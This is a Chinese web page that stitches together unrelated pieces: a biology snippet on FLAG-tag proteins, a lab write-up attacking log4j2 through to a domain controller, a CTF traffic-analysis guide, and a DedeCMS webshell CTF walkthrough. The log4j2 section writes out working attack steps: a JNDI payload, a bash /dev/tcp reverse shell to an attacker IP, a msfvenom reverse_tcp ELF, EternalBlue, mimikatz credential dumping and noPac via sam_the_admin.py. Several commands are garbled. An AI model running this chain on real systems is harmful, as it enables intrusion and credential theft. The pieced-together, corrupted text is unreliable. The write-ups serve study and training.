如何渗透测试_已知flag怎么渗透测试

hacker|
173

flag标签蛋白怎么检测蛋白过表达

质粒序列测序。flag标签蛋白检测蛋白过表达是看质粒序列测序是否正确,Flag标签蛋白为编码8个氨基酸的亲水性多肽(DYKDDDDK,编号:133742),同时载体中构建的Kozak序列使得带有FLAG的融合蛋白在真核表达系统中表达效率更高。

记一次log4j2引发的渗透测试

记一次log4j2打入内网并用CVE-2021-42287、CVE-2021-42278获取到DC权限的靶场渗透。

首先对web进行端口扫描,发现38080端口和22端口

访问一下38080端口发现是一个error page

用Wappalyzer看一下是什么架构,但是好像没有检测出来

拿着报错去百度上发现应该是springboot

索性用goby再去扫一下,应该是spring没错,但是没有漏洞是什么操作?联想到最近出的log4j2的洞,可能他只是一个日志文件所以并没有框架

使用 payload=${jndi:ldap://p9j8l8.dnslog.cn} 验证一下有回显证明存在漏洞

尝试进一步利用漏洞,首先起一个ldap服务,ip为本地接收shell的ip地址

pre class="b2e4-145c-ab8f-e556 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105/pre

抓包修改 Content-Type: appllication/x-www-form-urlencoded ,并执行以下payload成功回显

pre class="145c-ab8f-e556-ef16 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"payload=${jndi: ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho }/pre

执行 ls -al / 看一下也成功

nc开启监听端口

然后使用bash命令反弹,这里需要先base64编码然后对编码后的特殊字符进行2层url转码

pre class="ab8f-e556-ef16-f252 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"bash -i /dev/tcp/192.168.1.105/9999 01/pre

抓包添加 payload=${jndi:ldap:1/192.168.1.105:1389/TomcatBypass/Command/Base64/二层转码之后的字符} ,即可得到反弹shell

进行信息搜集发现为docker环境,这里尝试了docker逃逸失败,那么继续进行信息搜集

在根目录下找到了之一个flag,这里有一个 got this ,在之前端口扫描的时候看到开放了22端口,尝试使用ssh直接连接

使用xshell尝试连接

连接成功,拿到了宿主机的权限

ifconfig查看网卡情况发现还有一张10.0.1.0/24段的网卡

这里方便的话其实可以使用cs上线linux后用cs继续打,这里我就没有上线cs,使用linux的命令对10.0.1.0/24段探测存货主机

pre class="e556-ef16-f252-15a6 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;" for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 i Find the target; fi; done/pre

ping一下是存活的

使用毒液把流量 *** 出来,首先开启监听

pre class="9553-3764-eb31-cecb md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"admin.exe -lport 7777/pre

然后上传agent_linux到靶机上

加权并执行

pre class="3764-eb31-cecb-700b md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"chmod 777 agent_linux_x86

agent_linux_x86 -rhost 192.168.1.105 -rport 7777/pre

连接成功

这里本来准备用毒液的 *** 到msf打的,后面觉得比较麻烦,就直接用kali生成的elf马上线msf了

首先生成一个32位的elf马

pre class="eb31-cecb-700b-9ddb md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf shell.elf/pre

然后加权并执行

pre class="cecb-700b-9ddb-28a9 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"chmod 777 shell.elf

./shell/pre

kali使用 exploit/multi/handler 进行监听

获取到宿主机的shell

然后添加10.0.1.0/24段的路由

pre class="700b-9ddb-28a9-46b0 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"bg

route add 10.0.1.0 255.255.255.0 1

route print/pre

然后配置 proxychain4.conf 文件并使用socks模块

pre class="9ddb-28a9-46b0-da6d md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"search socks

use auxiliary/sevrer/socks_proxy

run/pre

我们在之前已经知道了内网主机的ip,那么这里我们直接使用proxychain配合nmap对10.0.1.7的端口进行扫描

pre class="28a9-46b0-da6d-99c1 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"proxychains4 nmap -sT -Pn 10.0.1.7/pre

发现有445端口,那么对445端口进一步扫描

先确定一下系统版本,使用 auxiliary/scanner/ *** b/ *** b_version 模块,发现是win7 sp1

看能不能利用永恒之蓝,这里使用到 auxiliary/scanner/ *** b/ *** b_ms17_010 模块,发现可以利用永恒之蓝

使用 exploit/windows/ *** b/ms17_010_eternalbule 模块,因为是不出网环境,这里需要用到 bind_tcp 载荷

run之后拿到一个system权限的meterpreter

在 C:\Users\root\Desktop 下拿到第二个flag

然后继续进行信息搜集,发现同样是双网卡,还存在10.0.0.0/24段的一张网卡

ipconfig /all看到dns服务器为 redteam.lab 应该在域内

这里ping一下 redteam.lab 得到域控的ip为10.0.0.12

这里不知道域控有什么洞,先上传一个mimikatz把密码抓取出来,得到 Administrator/Admin12345 ,这里其实就可以使用域管账户ipc直接连接,但是这里抓到了一个域用户,尝试使用最新的CVE-2021-42287、CVE-2021-42278来进行攻击,关于漏洞的原理请 移步

pre class="46b0-da6d-99c1-ac92 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"privilege::debug

sekurlsa::logonpasswords/pre

这里我准备使用noPac.exe直接去获取一个shell的,但是这里noPac.exe的利用条件是需要主机上有.net4.0环境,所以这里没有回显

本来准备一步一步的用原始的 *** 打的,但是powershell用不了没有回显,就写一下原始利用的步骤吧

这里直接使用 sam_the_admin.py 进行攻击

pre class="da6d-99c1-ac92-b2e4 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell/pre

即可拿到DC的shell

在 C:\Users\Administrator\Desktop 下找到最后一个flag

CTF流量分析之题型深度解析

0x01 介绍

在CTF比赛中,对于流量包的分析取证是一种十分重要的题型。通常这类题目都是会提供一个包含流量数据的pcap文件,参赛选手通过该文件筛选和过滤其中无关的流量信息,根据关键流量信息找出flag或者相关线索。

pcap流量包的分析通常都是通过图形化的 *** 嗅探器——wireshark进行的,这款嗅探器经过众多开发者的不断完善,现在已经成为使用最为广泛的安全工具之一。在之前的文章中,斗哥已经为大家介绍了 wireshark的基本使用 。接下来,斗哥将为大家介绍目前CTF流量分析中的经典题型和解题思路。

0x02 经典题型

CTF题型主要分为流量包修复、WEB流量包分析、USB流量包分析和其他流量包分析。

■ 流量包修复

比赛过程中有可能会出现通过wireshark打开题目给的流量包后提示包异常的情况,如下图所示:

解题思路:

通过在线pacp包修复工具进行修复:

练练手

之一届 “百度杯” 信息安全攻防总决赛 线上选拔赛:find the flag

pacp文件地址:

■ WEB流量包分析

WEB数据包分析的题目主要出现WEB攻击行为的分析上, 典型的WEB攻击行为有:WEB扫描、后台目录爆破、后台账号爆破、WEBSHELL上传、SQL注入等等。

题型:

通过给出的流量包获取攻击者使用的WEB扫描工具。

解题思路:

常见的WEB扫描器有Awvs,Netsparker,Appscan,Webinspect,Rsas(绿盟极光),Nessus,WebReaver,Sqlmap等。要识别攻击者使用的是哪一种扫描器,可通过wireshark筛选扫描器特征来得知。

相关命令:http contains “扫描器特征值”。

常见的扫描器特征参考:

练练手

安恒八月月赛流量分析:黑客使用的是什么扫描器?

pacp文件地址:

链接: 提取码:q6ro

题型:

已知攻击者通过目录爆破的手段获取了网站的后台地址,请通过给出的流量包获取后台地址。

解题思路:

要获取流量包中记录的后台地址,可通过wireshark筛选后台url特征来得知。

相关命令:http contains “后台url特征”。

常见后台url特征参考:

练练手

安恒八月月赛流量分析:黑客扫描到的后台登录地址是什么?

pacp文件地址:

链接: 提取码:q6ro

题型:

已知攻击者通过暴力破解的手段获取了网站的后台登陆账号,请通过给出的流量包获取正确的账号信息。

解题思路:

WEB账号登陆页面通常采用post *** 请求,要获取流量包中记录的账号信息可通过wireshark筛选出POST请求和账号中的关键字如‘admin’。

相关命令:http.request.method=="POST" http contains == "关键字"。

练练手

安恒八月月赛流量分析:黑客使用了什么账号密码登录了web后台?

pacp文件地址:

链接: 提取码:q6ro

题型:

已知攻击者上传了恶意webshell文件,请通过给出的流量包还原出攻击者上传的webshll内容。

解题思路:

Webshell文件上传常采用post *** 请求,文件内容常见关键字eval,system,assert要。获取流量包中记录的webshell可通过wireshark筛选出POST请求和关键字.

相关命令:http.request.method=="POST" http contains == "关键字"

练练手

安恒八月月赛流量分析:黑客上传的webshell文件名是?内容是什么?

pacp文件地址:

链接: 提取码:q6ro

■ USB流量包分析

USB流量指的是USB设备接口的流量,攻击者能够通过监听u *** 接口流量获取键盘敲击键、鼠标移动与点击、存储设备的铭文传输通信、USB无线网卡 *** 传输内容等等。在CTF中,USB流量分析主要以键盘和鼠标流量为主。

■ 键盘流量

USB协议数据部分在Leftover Capture Data域中,数据长度为八个字节。其中键盘击键信息集中在第三个字节中。数据如下图所示:

如上图所示击键信息为0x05,对应的按键为“B“。

具体的键位映射关系可参考:《USB键盘协议中键码》中的HID Usage ID,链接:

题型:**

Flag藏于u *** 流量中,通过USB协议数据中的键盘键码转换成键位。

解题思路:

1.使用kali linux中的tshark 命令把cap data提取出来:tshark -r u *** .pcap -T fields -e u *** .capdata u *** data.txt,并去除空行。

练练手

安全评测人员在对某银行卡密码输入系统进行渗透测试,截获了一段通过USB键盘输入6位数字密码的流量,其中也包含了一些其他无关的USB设备的流量,你能从中恢复出6位数字密码吗?最终提交的flag格式为flag。

pacp文件地址:

链接:

提取码:q6ro

python键盘键码转换脚本:同上

■ 鼠标流量

USB协议鼠标数据部分在Leftover Capture Data域中,数据长度为四个字节。

其中之一个字节代表按键,当取0x00时,代表没有按键、为0x01时,代表按左键,为0x02时,代表当前按键为右键。第二个字节可以看成是一个signed byte类型,其更高位为符号位,当这个值为正时,代表鼠标水平右移多少像素,为负时,代表水平左移多少像素。第三个字节与第二字节类似,代表垂直上下移动的偏移。数据如下图所示:

如上图所示数据信息为0x00002000,表示鼠标垂直向上移动20。

题型 :

Flag藏于u *** 流量中,通过USB协议数据中的鼠标移动轨迹转换成Flag。

解题思路:

练练手

这是一道鼠标流量分析题。

pacp文件地址:

链接: 提取码:q6ro

python鼠标数据转换脚本:同上

■ 其他流量包分析

除了常规的WEB和USB流量外,可能还存在诸如 *** TP,Telnet等流量,均与WEB流量分析类似,不再赘述。

0x03 总结

以上为斗哥了解的流量分析在CTF比赛中的基本题型,欢迎大家补充。

参考:

《记一道USB流量分析CTF题》,

CTF Wiki,

i春秋-真的很简单

基于织梦CMS的网站进行渗透测试,找到网站登录后台,进而入侵服务器找flag文件。

漏洞利用工具爆织梦后台的帐号和密码##

md5解密部分:

md5长度(hex)=32,但爆出来的 adab29e084ff095ce3eb 长度只有20。

织梦的是选取hash的前20位,然后去掉前三位和最后一位,得到16位的hash。16位和32位的hash才能解密,这是它本身算法的特性决定的。

在后台上传webshell

在 模板/标签模板管理/xxx.php 下,这些php模板文件都可插入一句话木马。 include/taglib/adminname.lib.php 去这里找。

进入管理员桌面看到flag文件,但是权限不足。

拒绝访问,可能是权限不足,因此提升权限;

windows组:

下面介绍下网上介绍的常见的用户组

 1.Users

普通用户组,这个组的用户无法进行有意或无意的改动,权限一般较低。

2.Power Users

高级用户组,仅次于administrator,但是我的win10上并没有这个组。

3.Administrators

管理员组,默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权。分配给该组的默认权限允许对整个系统进行完全控制。一般来说,应该把系统管理员或者与其有着同样权限的用户设置为该组的成员。

4.Guests

来宾组,来宾组跟普通组Users的成员有同等访问权,但来宾账户的限制更多。次于Users组。

5.Everyone

所有的用户,这个计算机上的所有用户都属于这个组。

6.SYSTEM组

高于Administrators权限,在察看用户组的时候它不会被显示出来,也不允许任何用户的加入。这个组主要是保证了系统服务的正常运行,赋予系统及系统服务的权限。

但是本次实验中并没有提权,而是单纯的修改了用户对某个特定文件的权限,而非提升了用户本身的权限。

0条大神的评论

发表评论